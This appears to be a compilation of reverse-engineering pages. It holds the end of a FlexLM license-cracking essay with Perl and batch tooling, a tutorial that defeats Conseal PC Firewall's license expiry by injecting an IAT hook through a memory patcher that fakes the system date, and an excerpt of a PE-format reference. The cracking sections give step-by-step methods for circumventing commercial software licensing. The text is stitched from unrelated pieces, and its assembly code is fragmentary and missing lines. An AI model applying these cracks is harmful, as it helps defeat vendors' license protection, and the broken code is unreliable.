clear seeds -->| encryption |--->encrypted seeds->|vendorcode.data[]=enc. seeds,|
| routine | |other vendorcode,vendorname |
-----^----^--- -|-----------------------------
| | |
| | _____________V__________
| | |Unpackager source code|--> unpackager source
code
_________________ | | |generator | in lm_new.c
|PERSONALIZATION | | | ------------------------
|INFO = rand(); |--| |
------------------ | |-VENDORKEYS,VENDORNAME
|
_____V____________________
| Seed decryption source |-----> seed decryption source code in
lm_new.c
| code generator |
--------------------------
Things to observe:
The encryption process and the obfuscation done by the unpackager are
separate processes.
It is unimportant what the seed decryption algorithm really is. The important
thing is that it undoes what the encryption routine did. This is easy to do since
the thing that encrypted the seeds and the thing that generates the decryption source
code lie in the same entity.
***************************************************************
Part 11 Final analysis
***************************************************************
We now have enough information to make a final analysis on what the "enhanced
security" of lc_new_job is. (This might not be the "final" analysis because
there still might be some things I missed.)
The post-seed attack was possible because the seeds were in the clear after
decrypting them. All you needed was to break at the compare to default
values and write down the seeds.
Both of these methods were un-obtrusive in the sense that the cracker only
needed to set the right breakpoint and write down some values. No modification
of program execution was needed.
So now we can see what the second part of the "enhanced security" is. It is
trying to deal these two forms of attack. The personalization makes the current
pre-seed attack invalid. So the cracker is forced to use the post-seed attack.
But the randomization on the clear seeds makes the current post-seed attack
invalid. So the cracker is forced to a new form of attack.
Remember that I was foiled by the post-seed countermeasure early on when I was
following the seeds around and saw the random data. I didn't mention it but
I was foiled by the pre-seed countermeasure early on because I tried
the pre-seed attack also.
You can not deal with one form of attack without dealing with the other. You
need both countermeasures in place. For example if the encryption was only
personalized the cracker could still do the post-seed attack. If the decryption
output was only randomized the cracker could still do the pre-seed attack.
**************************************************************
Appendix - exploiting object code/libraries
***************************************************************
I guess the way some people handle this is to build their own flexlm client
app with debug switches on. Then they can reverse engineer this app. With
all the symbol info. This of course is a sane way to do things.
Target a function
Search the library for references to the function using dumpbin.exe
If I wanted the actual function - the reference would not be "undef"
If I wanted calls to the function - the reference would be a "undef"
Extract the relavant object file using lib.exe
Extract the reloc/header info into one file using dumpbin.exe
Extract the object disassembly into another file using dumpbin.exe
Combine info from the reloc and disassembly files
into one "annotated object disassembly" file using a perl script file
Once I found some object code that I wanted to see in the target, I would
manually search for the "signature" of it in the target.
There maybe tools that can do what I wanted to do. I would like to know.
But it didn't matter in the end. This approach worked very well.
Eventually, I had three batch files, one was wheresym.bat: (find symbols in obj or
lib)
dumpbin /archivemembers /symbols %1 | egrep "member|%2" > result.txt
The third was gronk.bat: (extract an obj and create annotated disassembly)
call extract lmgr.lib SINTEL_REL\%1.obj
dumpbin /relocations /headers %1.obj > %1.sym
dumpbin /disasm %1.obj > %1.dis
perl sym.pl %1.sym %1.dis > %1.txt
Note that all objects in lmgr.lib had SINTEL_REL\ in front of their name.
The perl script sym.pl is included later. The tools dumpbin and lib have
equivalents such as objdump and ar.
Here's an example,
say I was interested in l_sg. I would type:
>wheresym lmgr.lib l_sg
Searching the resultant lm_ckout.txt for l_sg, I find some calls and then the
actual function (I only show code for illustration of this method):
The "Found" lines and "New proc" line are from the perl script. The code is from
the .dis file. The found lines state an address of a reference. For example,
this code is saying the l_n36_buff reference is at address 0x16. You should realize
this object code will be located at a different address in linked code and all reloc
info will be resolved. The "call 0x3f" is not really calling address 0x3f. The
four zero's are just placeholders for the reloc info. So this call is a call to
l_key.
My point is I can take this file and compare against the target to find function
names.
Another powerful feature is finding all the calls by just searching on the names.
Now if I wanted to go down the heiarchy, I would find l_key and study its references.
If I wanted to go up, I would look for other references to l_sg.
The perl script first processes the symbol info in the .sym file. It
creates an array of what function,address,and reloc name are in an entry.
It assumes the entries' addresses are in increasing order.
Then it processes the disassembly file and uses the array it built up
previously. I was in a wierd mood when I wrote it so the file processing is
in a state machine. I don't think the split stuff is necessary but whatever.
I have that habit from using a2p (awk to perl) which does a similar thing.
Note that this script is highly dependant on the output syntax of my dumpbin.exe
which was from msvc++ 5.0.
Here is the perl script sym.pl
#***************************************************************
$arg1 = shift;
$arg2 = shift;
@proca = ();
@addra = ();
@syma = ();
open (IN,$arg1);
$state = 0;
while () {
if($state==2) {
$proc_name = "";
}
if(($state==2)&&(/Communal/)) {
chop;
@Fld=split(' ',$_,999);
$proc_name=$Fld[$#Fld];
# print $_;
$state=3;
}
if($state==5) {
chop;
@Fld=split(' ',$_,999);
if($#Fld!=-1) {
push(@proca,$proc_name);
push(@addra,$Fld[0]);
push(@syma,$Fld[$#Fld]);
# print "$proc_name $Fld[0] $Fld[$#Fld]\n";
}
# print $_;
}
if($state==1) {
if (/text/){$state=2;}
else {$state=0;}
}
$state=1 if(/^SECTION HEADER/);
if(($state==3)&&(/RELOCATIONS/)){$state=4;}
if(($state==4)&&(/-------/)){$state=5;}
if(($state==5)&&(/^$/)){$state=0;}
# print "$state $_";
}
close IN;
#for ($i=0;$i<=$#proca;$i++) {
# print "$proca[$i] $addra[$i] $syma[$i]\n";
#}
open (IN,$arg2);
$state = 0;
while () {
chop;
$symfound=0;
if($state==3) {
@Fld=split(' ',$_,999);
if($Fld[0] =~ /[0123456789ABCDEF]*:/) {
$addr=$Fld[0];
$addr=~s/://;
$j = hex $addra[$searchi];
$j;
$k=hex $addr;
if($searchi<=$#addra) {
if(($j-$k<=0)&&
($proca[$searchi] eq $proc)) {
print "Found $addra[$searchi] $syma[$searchi]\n";
$symfound=1;
$searchi++;
} else {
# print "Looking for $addr == $addra[$searchi] $syma[$searchi]\n";
}
}
# print "$addr\n";
}
}
if(/^$/){$state=0;}
if(/^_/){$state=1;}
if($state==1) {
$proc = $_;
$proc =~ s/://;
print "New proc searching...\n";
$searchi=0;
while(($searchi<=$#proca)&&($proc ne $proca[$searchi])) {
$searchi++;
}
if($searchi>$#proca) {
print "Not found proc\n";
$state=2;
} else {
print "Found proc $searchi\n";
$state=3;
}
# print "$proc\n";
}
{ print "$_\n";}
close IN;
#***************************************************************
Final Notes
I would like to thank Nolan Blender, VoxQuietis, and pilgrim for their
correspondance. Also, 1000 thanks to them and others such as Siul+Hacky,
Acme, and CrackZ who wrote the informative essays on flexlm.
If you analyze my method of cracking this target, you will see that
I could have found quick soloutions early on by just following through
on things. However, at the time it was not that obvious what I should
be doing. Sometimes you need to experiment before following through
with a certain approach.
If you want the textbook version of this - read the sections in reverse
order!!!
<EOF>
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the
allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it
on most Warez sites, complete and already regged, farewell, don't come back.
You are deep inside fravia's page of reverse engineering, choose your way out:
BoundsChecker v6.01
Tasm v4.1
( )Beginner (X)Intermediate (X)Advanced ( )Expert
laters,
nN.
A great essay by a fine reverser! Italian crackers sublimissimi and machiavellici!
Note how good reversers don't simply breakpoint everything in sight to patch a target, but actually STUDY its less
common features in order to understand deeper truths! Wanna start to understand what's like to reverse as it
should be? Read this. Enjoy!
Of course, as you all (should) know, once you master such kind of import address table reversing you will also be
able to work for your favourite "dll taming" projects... eheh... ad astra per aspera!
Part 1: Intro
Hi everyone...
What does it mean "in an unusual way" ? If u're wondering about it, after reading
the title, here is the explanation... it's quite some time that i don't crack
anymore, like my friends know, and i prefer to dedicate to the (imho) much
richest, more interesting and intriguing Reverse Engineering scenario...
meanwhile, tho, among a chat and a nuke to a friend i happened to notice that my
precious firewall (Conseal PC Firewall, i think it's one of the best ones even if
i know shit about that) goes down... license has expired ?? ohh SHIT, my license
has expired! =)
Typical background for a common quick crack (i haven't been settling for long
cracking sessions for quite a while...), neverthless i soon realized that there
were some good aspects that led to something nicer than a plain serial or a jz/jnz
check...
Let me just say that this tute will be as short as possible (not for the fact that
it's 4.30am here and i'm quite tired, but because i don't really want to flood you
with tons of text....let's try =)
Part 2 : Da Crack.
The program, once expired, and once ran, doesn't make you suspect anything, when,
after like 2/3 seconds, voila' a msgbox that tells us that we have finished our
time =/... Oh btw i use version 1.37. As i was saying, there's a msgbox, but we
won't break on messageboxa, we said we wanna have fun, no usual stuff. So let's
open boundschecker and launch frw.exe, being careful to all the api's used... if u
are careful enough and u collapse every thread created at the start of the
program, u'll notice 6 initial threads and, right before the nag pops, the
creation of a seventh thread. Interesting, let's take a look at this 7th thread...
u'll notice an overwhelming amount of registry poking, quering and so on, well
nothing strange, nothing changed, as bob marley put it... But let's take a look at
the values being checked... uhm, u'll notice a certain repetition of LicenseInfo,
LicenseID etc... let's open regedit for a second and look for LicenseID... deh, a
nice trio of interesting keys... LicenseCode contains probably the encrypted
version of the installation date + other various rubbish, LicenseID has a default
string for our universal license, LicenseInfo with various unidentified trash...
uhm, what are we gonna do ? a coupla bpm's, looking for the decrypting routine,
and we write our l33t crack ? NO :)
We said in an unusual way... so let's close regedit (dunno about you, but i'll
reserve the decrypting routine for the next time, might be an interesting algo)...
anyway, as we were saying, let's come back to our 7th thread, re-popping
boundschecker again. Browsing a bit downwards among the api calls, we'll reach a
zone where a heap gets allocated+freed, then OH! what's that GetLocalTime =) yup,
it's this easy... GetLocalTime gets the current date and hour... then it's obvious
that the program decrypts the LicenseCode key, gets the installation date, and
then makes his calculations... What are we gonna do ? we could patch the checks in
IAT hooking is basically, really, really easy in the concept. I assume that the
reader has a medium knowledge of the PE structure, and that he/she knows what an
Import Table is... if not, may i suggest you to read some good doc, the best ones
are imo Pietrek's and Luevelsmeyer's (whose famous pe.txt i included)... Now, we
know that in the Import Table there's an array called FirstThunk, which gets
patched at runtime with the addresses of the functions that the program imports...
the concept of IAT hooking is based on this: you retrieve the spot that concerns
the function we want to hook, and you patch the VA of our hooking routine inside
it. This done, when the program will call the function (and thus will pass for the
deviation inside the Import Address Table (aka FirstThunk array)), instead of
running straight towards the kernel woods, it'll run towards our injected
routine's lair... at that point we'll quietly examine the passed params, we
forward them to the kernel, or we keep them, or we reset the system, or we make a
window pop up saying "Moonshadow is gay =)" or whatever else pleases us ;) (jk
mun:P)... well, u got it. Obviously, we can as well fake the result of a call, in
our case GetLocalTime, returning to our dear friend frw.exe the perpetual date of
18th July 1999 :)
There's a problem anyway. The file is packed... how and where to inject a hooking
routine ? Well, the first idea that popped in my mind was writing a small hooker
.exe, then, from within a memory patcher (unavoidable as we'll see) mapping it
into memory and access to it from the unpacked process... easy to do since MMF's
are mapped in the shared region of the linear address space, thus we wouldn't need
any additional context switching routine etc... but then i thought, is it really
worth it ? let's make something quicker =)... i wanted to physically patch the
routine inside frw.exe, and there was only one place safe from the fury of the
storm caused by a decrypting stub that devastates the initial image of the file
with his mathematcally cold decompression/patching... i'm talking about the so
called caves... this term is particularly familiar to virii writers... caves are
those empty spaces (in reality filled with 00-bytes) inside a PE file, in other
words 'dead' spaces you can use for any code injection purpose... in our case, not
viral code but a nice hooking routine :)
Which cave are we gonna use ?? well, i'd say that the one between the Object Table
and the first section's raw data will do fine... open the file with Hiew, just to
make an idea... after the stub (this proggie can't be run in dos mode) and the
PE,0,0 signature we get the first file header data, then the optional header
etc... browsing downwards we find the object table (.text with the relative data,
.rdata with its data etc...) ... then we have a succession of zero bytes (our
cave) starting from offset 268h and finally we get to .text section at offset
1000h... all this space isn't used/relocated/modified at all, by wwpack32's
loader... now you have an idea of what we're gonna do... you choose wether to keep
reading or to destroy this htm file ;)
So..so... what do we need now ? Well, considered that we have to install a IAT
hook, we need the decrypted image of the file.. in reality we have a 'notionistic'
need of a coupla virtual addresses, that we'll be able to stick as patchspots from
.386p
.model flat, stdcall
.DATA
exe_name DB "frw.exe",0
.CODE
start:
ini_info,OFFSET processInfo
test eax, eax
jz @@end
; we'll wait for frw.exe to be loaded and unpacked with a little loop (even if we're not able to hook every GetLocalTime
there's no problem, the ; ones we effectively need are the ones in the 7th thread, remember)
.WHILE ecx != 0
dec ecx
.ENDW
; we retrieve the effective address of GetLocalTime in the kernel directly from the IAT of the unpacked process
call ReadProcessMemory, [processInfo].pi_hProcess, 046459Ch, OFFSET funct_va, 4, OFFSET dummybuffer
; now we patch this address in a dword (@ 4002dd) that we'll call from the hooking routine when we wanna call
GetLocalTime
call WriteProcessMemory, [processInfo].pi_hProcess, 04002DDh, OFFSET funct_va, 4, OFFSET dummybuffer
; and finally we'll effectively install the hook in the FirstThunk array, modifying the address that the program will call
inside the IAT
; with the address of our function (in the iat_hooking_routine dword)
call WriteProcessMemory, [processInfo].pi_hProcess, 046459Ch, OFFSET iat_hooking_routine, 4, OFFSET
dummybuffer
@@end:
call ExitProcess, 0 ; our job is done... now everything is in the hooking routine's hands (bytes:)
end start
very good.
At this point, once we compiled the program we'll have our mem patcher that
creates the process, waits a bit, then retrieves GetLocalTime's address from the
IAT, then patches it inside the hooking routine, and in the end installs the IAT
hook in the decrypted image of the program.
now we only have the problem of the hooking routine. What do we need to put inside
of it ?
enter Softice and put a bpx getlocaltime... start conseal pc firewall, and press
f12 at the first pop. Write DD and then D ESP-4. This will show you the address
that has been pushed on the stack before the call GetLocalTime (you can also find
it by tracing thru kernel until that "mov ecx, esp-c" (the fifth codeline in the
function) where u'll find, in ecx, the same address. Anyway, as i was saying, type
"d address" and u'll get the dump of the SYSTEMTIME structure, that gets filled
with data concerning current time and date. Let's take a look at it's definition:
WORD wMilliseconds;
} SYSTEMTIME;
uhm, uhm... remember that we have to make the proggie believe that it's always the
18th of July 1999, in other words we have to modify the first, second and fourth
Word in the structure... making them respectively 7CFh (1999 dec), 7, and 12h (18
dec)... if u wanna get a close look at the struct, give a DW and then analize
it... u'll see how easy this concept is.
So, let's make a lil summary. What will happen is this: the program will call the
IAT thinking that it's calling GetLocalTime, while the control will be passed to
our hook routine (at 04002A0h)... at that point our situation will be this: we'll
save EAX pushing it and then [ESP+4] will hold the return address for the
program's code, and we'll save it in a physical dword to call afterwards for the
return (the same thing we did from the mempatcher for GetLocalTime's address)...
then we'll pop EAX and we'll increase the stack pointer of 4 bytes... at that
point [ESP] will point to the SYSTEMTIME structure... so we'll effectively call
GetLocalTime... at the return, we'll have, in [ESP-4], the address of the
SYSTEMTIME structure, and we'll start modifying it... but first we'll save the
value of EAX in a third physical dword (we can't push it because often, if you
analize the code flow with softice, the VA of the structure is dangerously close
to the stack pointer, so a badly placed push could ruin the struct and crash the
program) and we'll stick the VA of the struct inside it... at this point, we'll
modify the words relative to year, month and day, then we restore EAX and we jump
to the return address, that we saved at the beginning of the routine...
now let's write the code... open hiew and go to offset 2A0h (that'll become
4002A0h as soon as the file gets mapped and the imagebase gets added), and inject
our hooking routine:
for those among you not very familiar with Hiew and its barbarian way of handling
byte, word and dword ptr, you must know that they are respectively B,[blabla] ,
W,[blabla] and D,[blabla].
once u did this, you can run our mempatcher, and everything will work perfectly...
your Conseal PC firewall will never expire again, and we made something unusual
for sure... i had some fun, what about u ?? ;)
Ob Duh
I wont even bother explaining you that you should BUY programs if you intend to use them for a longer period
than the allowed one. Should you want to STEAL software instead (unlikely in this case :-) you don't need to crack
protection schemes at all: you'll find everything on most Warez sites, complete and already regged, farewell, don't
come back.
You are deep inside fravia's page of reverse engineering, choose your way out:
Preface
-------
The win32 SDK includes a header file <winnt.h> containing #defines and
typedefs for the PE-format. I will mention the struct-member-names and
#defines as we go.
General Layout
--------------
Then there is a file header (in the COFF-format) that tells on which
machine the binary is supposed to run, how many sections are in it, the
time it was linked, whether it is an executable or a DLL and so on. (The
difference between executable and DLL in this context is: a DLL can not
be started but only be used by another binary, and a binary cannot link
to an executable).
After that, we have an optional header (it is always there but still
called "optional" - COFF uses an "optional header" for libraries but not
for objects, that's why it is called "optional"). This tells us more
about how the binary should be loaded: The starting address, the amount
of stack to reserve, the size of the data segment etc..
+-------------------+
| DOS-stub |
+-------------------+
| file-header |
+-------------------+
| optional header |
|- - - - - - - - - -|
| |
| data directories |
| |
+-------------------+
| |
| section headers |
| |
+-------------------+
| |
| section 1 |
| |
+-------------------+
| |
| section 2 |
| |
+-------------------+
| |
| ... |
| |
+-------------------+
| |
| section n |
| |
+-------------------+
'e_lfanew' (which is 32 bits long beginning at byte offset 60). For OS/2
and windows binaries, the signature is a 16-bit-word; for PE files, it
is a 32-bit-longword aligned at a 8-byte-boundary and having the value
IMAGE_NT_SIGNATURE #defined to be 0x00004550.
File Header
-----------
IMAGE_FILE_MACHINE_I386 (0x14c)
for Intel 80386 processor or better
0x014d
for Intel 80486 processor or better
0x014e
for Intel Pentium processor or better
0x0160
for R3000 (MIPS) processor, big endian
IMAGE_FILE_MACHINE_R3000 (0x162)
for R3000 (MIPS) processor, little endian
IMAGE_FILE_MACHINE_R4000 (0x166)
for R4000 (MIPS) processor, little endian
IMAGE_FILE_MACHINE_R10000 (0x168)
for R10000 (MIPS) processor, little endian
IMAGE_FILE_MACHINE_ALPHA (0x184)
for DEC Alpha AXP processor
IMAGE_FILE_MACHINE_POWERPC (0x1F0)
for IBM Power PC, little endian
Next is a timestamp 'TimeDateStamp' (32 bit), giving the time the file
was created. You can distinguish several versions of the same file by
this value, even if the "official" version number was not altered. (The
format of the timestamp is not documented except that it should be
somewhat unique among versions of the same file, but apparently it is
'seconds since January 1 1970 00:00:00' in UTC - the format used by most
C compilers for the time_t.)
This timestamp is used for the binding of import directories, which will
be discussed later.
Warning: some linkers tend to set this timestamp to absurd values which
are not the time of linking in time_t format as described.
The PE format makes heavy use of so-called RVAs. An RVA, aka "relative
virtual address", is used to describe a memory address if you don't know
the base address. It is the value you need to add to the base address to
get the linear address.
The base address is the address the PE image is loaded to, and may vary
from one invocation to the next.
Optional Header
---------------
information about how to treat the PE-file exactly. We'll also have the
members from top to bottom.
The next 2 bytes are the version of the linker ('MajorLinkerVersion' and
'MinorLinkerVersion') that produced the file. These values, again, are
unreliable and do not always reflect the linker version properly.
(Several linkers simply don't set this field.)
And, coming to think about it, what good is the version if you have got
no idea *which* linker was used?
The next 3 longwords (32 bit each) are intended to be the size of the
executable code ('SizeOfCode'), the size of the initialized data
('SizeOfInitializedData', the so-called "data segment"), and the size of
the uninitialized data ('SizeOfUninitializedData', the so-called "bss
segment"). These values are, again, unreliable (e.g. the data segment
may actually be split into several segments by the compiler or linker),
and you get better sizes by inspecting the 'sections' that follow the
optional header.
Next is a 32-bits-value giving the amount of memory the image will need,
in bytes ('SizeOfImage'). It is the sum of all headers' and sections'
lengths if aligned to 'SectionAlignment'. It is a hint to the loader how
many pages it will need in order to load the image.
The next thing is a 32-bit-value giving the total length of all headers
including the data directories and the section headers
('SizeOfHeaders'). It is at the same time the offset from the beginning
of the file to the first section's raw data.
IMAGE_SUBSYSTEM_NATIVE (1)
The binary doesn't need a subsystem. This is used for drivers.
IMAGE_SUBSYSTEM_WINDOWS_GUI (2)
The image is a Win32 graphical binary. (It can still open a
console with AllocConsole() but won't get one automatically at
startup.)
IMAGE_SUBSYSTEM_WINDOWS_CUI (3)
The binary is a Win32 console binary. (It will get a console
per default at startup, or inherit the parent's console.)
IMAGE_SUBSYSTEM_OS2_CUI (5)
The binary is a OS/2 console binary. (OS/2 binaries will be in
OS/2 format, so this value will seldom be used in a PE file.)
IMAGE_SUBSYSTEM_POSIX_CUI (7)
The binary uses the POSIX console subsystem.
Windows 95 binaries will always use the Win32 subsystem, so the only
legal values for these binaries are 2 and 3; I don't know if "native"
binaries on windows 95 are possible.
The next thing is a 16-bit-value that tells, if the image is a DLL, when
to call the DLL's entry point ('DllCharacteristics'). This seems not to
be used; apparently, the DLL is always notified about everything.
If bit 0 is set, the DLL is notified about process attachment (i.e.
DLL load).
If bit 1 is set, the DLL is notified about thread detachments (i.e.
thread terminations).
If bit 2 is set, the DLL is notified about thread attachments (i.e.
thread creations).
If bit 3 is set, the DLL is notified about process detachment (i.e.
DLL unload).
IMAGE_DIRECTORY_ENTRY_EXPORT (0)
The directory of exported symbols; mostly used for DLLs.
Described below.
IMAGE_DIRECTORY_ENTRY_IMPORT (1)
The directory of imported symbols; see below.
IMAGE_DIRECTORY_ENTRY_RESOURCE (2)
Directory of resources. Described below.
IMAGE_DIRECTORY_ENTRY_EXCEPTION (3)
Exception directory - structure and purpose unknown.
IMAGE_DIRECTORY_ENTRY_SECURITY (4)
Security directory - structure and purpose unknown.
IMAGE_DIRECTORY_ENTRY_BASERELOC (5)
Base relocation table - see below.
IMAGE_DIRECTORY_ENTRY_DEBUG (6)
Debug directory - contents is compiler dependent. Moreover, many
compilers stuff the debug information into the code section and
don't create a separate section for it.
IMAGE_DIRECTORY_ENTRY_COPYRIGHT (7)
Description string - some arbitrary copyright note or the like.
IMAGE_DIRECTORY_ENTRY_GLOBALPTR (8)
Machine Value (MIPS GP) - structure and purpose unknown.
IMAGE_DIRECTORY_ENTRY_TLS (9)
Thread local storage directory - structure unknown; contains
variables that are declared "__declspec(thread)", i.e.
per-thread global variables.
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG (10)
Load configuration directory - structure and purpose unknown.
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (11)
Bound import directory - see description of import directory.
IMAGE_DIRECTORY_ENTRY_IAT (12)
Import Address Table - see description of import directory.
Section directories
-------------------
After the section headers we find the sections themselves. They are, in
the file, aligned to 'FileAlignment' bytes (that is, after the optional
header and after each section's data there will be padding bytes) and
ordered by their RVAs. When loaded (in RAM), the sections are aligned to
'SectionAlignment' bytes.
+-------------------+
| DOS-stub |
+-------------------+
| file-header |
+-------------------+
| optional header |
|- - - - - - - - - -|
| |----------------+
| data directories | |
| | |
|(RVAs to direc- |-------------+ |
|tories in sections)| | |
| |---------+ | |
| | | | |
+-------------------+ | | |
| |-----+ | | |
| section headers | | | | |
| (RVAs to section |--+ | | | |
| borders) | | | | | |
+-------------------+<-+ | | | |
| | | <-+ | |
| section data 1 | | | |
| | | <-----+ |
+-------------------+<----+ |
| | |
| section data 2 | |
| | <--------------+
+-------------------+
There is one section header for each section, and each data directory
will point to one of the sections (several data directories may point to
the same section, and there may be sections without data directory
pointing to them).
general
-------
All sections are aligned to 'SectionAlignment' when loaded in RAM, and
'FileAlignment' in the file. The sections are described by entries in
the section headers: You find the sections in the file via
'PointerToRawData' and in memory via 'VirtualAddress'; the length is in
'SizeOfRawData'.
code section
------------
First, I will mention the code section. The section will have, at least,
the bits 'IMAGE_SCN_CNT_CODE', 'IMAGE_SCN_MEM_EXECUTE' and
'IMAGE_SCN_MEM_READ' set, and 'AddressOfEntryPoint' will point somewhere
into the section, to the start of the function that the developer wants
to execute first.
'BaseOfCode' will normally point to the start of this section, but may
point to somewhere later in the section if some non-code-bytes are
placed before the code in the section.
Normally, there will be nothing but executable code in this section, and
there will be only one code section, but don't rely on this.
Typical section names are ".text", ".code", "AUTO" and the like.
data section
------------
The next thing we'll discuss is the initialized variables; this section
contains initialized static variables (like "static int i = 5;"). It will
have, at least, the bits 'IMAGE_SCN_CNT_INITIALIZED_DATA',
'IMAGE_SCN_MEM_READ' and 'IMAGE_SCN_MEM_WRITE' set. Some linkers may
place constant data into a section of their own that doesn't have the
writeable-bit. If part of the data is shareable, or there are other
peculiarities, there may be more sections with the apropriate section-
bits set.
The section, or sections, will be in the range 'BaseOfData' up to
'BaseOfData'+'SizeOfInitializedData'.
Typical section names are '.data', '.idata', 'DATA' and so on.
bss section
-----------
Then there is the uninitialized data (for static variables like "static
int k;"); this section is quite like the initialized data, but will have
a file offset ('PointerToRawData') of 0 indicating its contents is not
These were the section data that are *not* pointed to by data
directories. Their contents and structure is supplied by the compiler,
not by the linker.
(The stack-segment and heap-segment are not sections in the binary but
created by the loader from the stacksize- and heapsize-entries in the
optional header.)
copyright
---------
To begin with a simple directory-section, let's look at the data
directory 'IMAGE_DIRECTORY_ENTRY_COPYRIGHT'. The contents is a
copyright- or description string in ASCII (not 0-terminated), like
"Gonkulator control application, copyright (c) 1848 Hugendubel & Cie".
This string is, normally, supplied to the linker with the command line
or a description file.
This string is not needed at runtime and may be discarded. It is not
writeable; in fact, the application doesn't need access at all.
So the linker will find out if there is a discardable non-writeable
section already and if not, create one (named '.descr' or the like). It
will then stuff the string into the section and let the
copyright-directory-pointer point to the string. The
'IMAGE_SCN_CNT_INITIALIZED_DATA' bit should be set.
exported symbols
----------------
(Note that the description of the export directory was faulty in versions
of this text before 1999-03-12. It didn't describe forwarders, exports
by ordinal only, or exports with several names.)
The next thing is 32 bits of 'Name'; this is an RVA to the DLL name as a
0-terminated ASCII string. (The name is necessary in case the DLL file is
renamed - see "binding" at the import directory.)
Then, we have got a 32-bit-'Base'. We'll come to that in a moment.
There are 2 quirks about this list: First, such an exported RVA may be 0,
in which case it is unused. Second, if the RVA points into the section
containing the export directory, this is a forwarded export. A forwarded
export is a pointer to an export in another binary; if it is used, the
pointed-to export in the other binary is used instead. The RVA in this
case points, as mentioned, into the export directory's section, to a
zero-terminated string comprising the name of the pointed-to DLL and
the export name separated by a dot, like "otherdll.exportname", or the
DLL's name and the export ordinal, like "otherdll.#19".
AddressOfFunctions
|
|
|
v
exported RVA with ordinal 'Base'
AddressOfNames AddressOfNameOrdinals
| |
| |
| |
v v
RVA to first name <-> Index of export for first name
RVA to second name <-> Index of export for second name
... ...
RVA to name 'NumberOfNames' <-> Index of export for name 'NumberOfNames'
imported symbols
----------------
When the compiler finds a call to a function that is in a different
executable (mostly in a DLL), it will, in the most simplistic case, not
know anything about the circumstances and simply output a normal
call-instruction to that symbol, the address of which the linker will
have to fix, like it does for any external symbol.
The linker uses an import library to look up from which DLL which symnol
is imported, and produces stubs for all the imported symbols, each of
which consists of a jump-instruction; the stubs are the actual
call-targets. These jump-instructions will actually jump to an address
that's fetched from the so-called import address table. In more
sophisticated applications (when "__declspec(dllimport)" is used), the
compiler knows the function is imported, and outputs a call to the
address that's in the import address table, bypassing the jump.
Anyway, the address of the function in the DLL is always necessary and
will be supplied by the loader from the exporting DLL's export directory
when the application is loaded. The loader knows which symbols in what
libraries have to be looked up and their addresses fixed by searching
the import directory.
source:
int symbol(char *);
__declspec(dllimport) int symbol2(char*);
void foo(void)
{
int i=symbol("bar");
int j=symbol2("baz");
}
assembly:
...
call _symbol ; without declspec(dllimport)
...
call [__imp__symbol2] ; with declspec(dllimport)
...
__imp__symbol: 0xdeadbeef
__imp__symbol2: 0x40100
__imp__symbol3: 0x300100
...
inserts dummies (RVAs to the function names; see below for more
information) that are patched by the loader at load time using the
export directory of the exporting DLL. The import address table, and how
it is found by the loader, will be described in more detail later in
this chapter.
This is how imports are used by the program's code; now we'll look how
an import directory is made up so the loader can use it.
OriginalFirstThunk
An RVA (32 bit) pointing to a 0-terminated array of RVAs to
IMAGE_THUNK_DATAs, each describing one imported function. The
array will never change.
TimeDateStamp
A 32-bit-timestamp that has several purposes. Let's pretend that
the timestamp is 0, and handle the advanced cases later.
ForwarderChain
The 32-bit-index of the first forwarder in the list of imported
functions. Forwarders are also advanced stuff; set to all-bits-1
for beginners.
Name
A 32-bit-RVA to the name (a 0-terminated ASCII string) of the
DLL.
FirstThunk
An RVA (32 bit) to a 0-terminated array of RVAs to
IMAGE_THUNK_DATAs, each describing one imported function. The
array is part of the import address table and will change.
OriginalFirstThunk FirstThunk
| |
| |
| |
V V
The import is now patched with the correct linear addresses and looks
like this:
OriginalFirstThunk FirstThunk
| |
| |
| |
V V
This was the basic structure, for simple cases. Now we'll learn about
tweaks in the import directories.
Think about the loader's task: when a binary that it wants to execute
needs a function from a DLL, the loader loads the DLL, finds its export
directory, looks up the function's RVA and calculates the function's
entry point. Then it patches the so-found address into the 'FirstThunk'-
list.
Given that the programmer was clever and supplied unique preferred load
addresses for the DLLs that don't clash, we can assume that the
functions' entry points will always be the same. They can be computed
and patched into the 'FirstThunk'-list at link-time, and that's what
happens with the "bound imports". (The utility "bind" does this; it is
part of the Win32 SDK.)
Of course, one must be cautious: The user's DLL may have a different
version, or it may be necessary to relocate the DLL, thus invalidating
the pre-patched 'FirstThunk'-list; in this case, the loader will still
be able to walk the 'OriginalFirstThunk'-list, find the imported symbols
and re-patch the 'FirstThunk'-list. The loader knows that this is
necessary if a) the versions of the exporting DLL don't match or b) the
exporting DLL had to be relocated.
looking into the timestamp of a DLL that doesn't actually contain the
entry point. So the forwarded symbols' entry points must always be fixed
up, for safety reasons. In the import list of a binary, imports of
forwarded symbols need to be found so the loader can patch them.
Ok, I will assume you have found the IMAGE_DIRECTORY_ENTRY_IMPORT and you have
followed it to find the import-directory, which will be in one of the
sections. Now you're at the beginning of an array of
IMAGE_IMPORT_DESCRIPTORs the last of which will be entirely 0-bytes-
filled.
To decipher one of the IMAGE_IMPORT_DESCRIPTORs, you first look into the
'Name'-field, follow the RVA and thusly find the name of the exporting
DLL. Next you decide whether the imports are bound or not;
'TimeDateStamp' will be non-zero if the imports are bound. If they are
bound, now is a good time to check if the DLL version matches yours by
comparing the 'TimeDateStamp's.
Now you follow the 'OriginalFirstThunk'-RVA to go to the
IMAGE_THUNK_DATA-array; walk down this array (it is be 0-terminated),
and each member will be the RVA of a IMAGE_IMPORT_BY_NAME (unless the
hi-bit is set in which case you don't have a name but are left with a
mere ordinal). Follow the RVA, and skip 2 bytes (the hint), and now
you have got a 0-terminated ASCII-string that's the name of the imported
function.
To find the supplied entry point addresses in case it is a bound import,
follow the 'FirstThunk' and walk it parallel to the
'OriginalFirstThunk'-array; the array-members are the linear addresses
of the entry points (leaving aside the forwarders-topic for a moment).
There is one thing I didn't mention until now: Apparently there are
linkers that exhibit a bug when they build the import directory (I've
found this bug being in use by a Borland C linker). These linkers set
the 'OriginalFirstThunk' in the IMAGE_IMPORT_DESCRIPTOR to 0 and create
only the 'FirstThunk'-array. Obviously, such import directories cannot
be bound (else the necessary information to re-fix the imports were
lost - you couldn't find the function names). In this case, you will
have to follow the 'FirstThunk'-array to get the imported symbol names,
and you will never have pre-patched entry point addresses. I have found
a TIS document ([6]) describing the import directory in a way that is
compatible to this bug, so that paper may be the origin of the bug.
The TIS document specifies:
IMPORT FLAGS
TIME/DATE STAMP
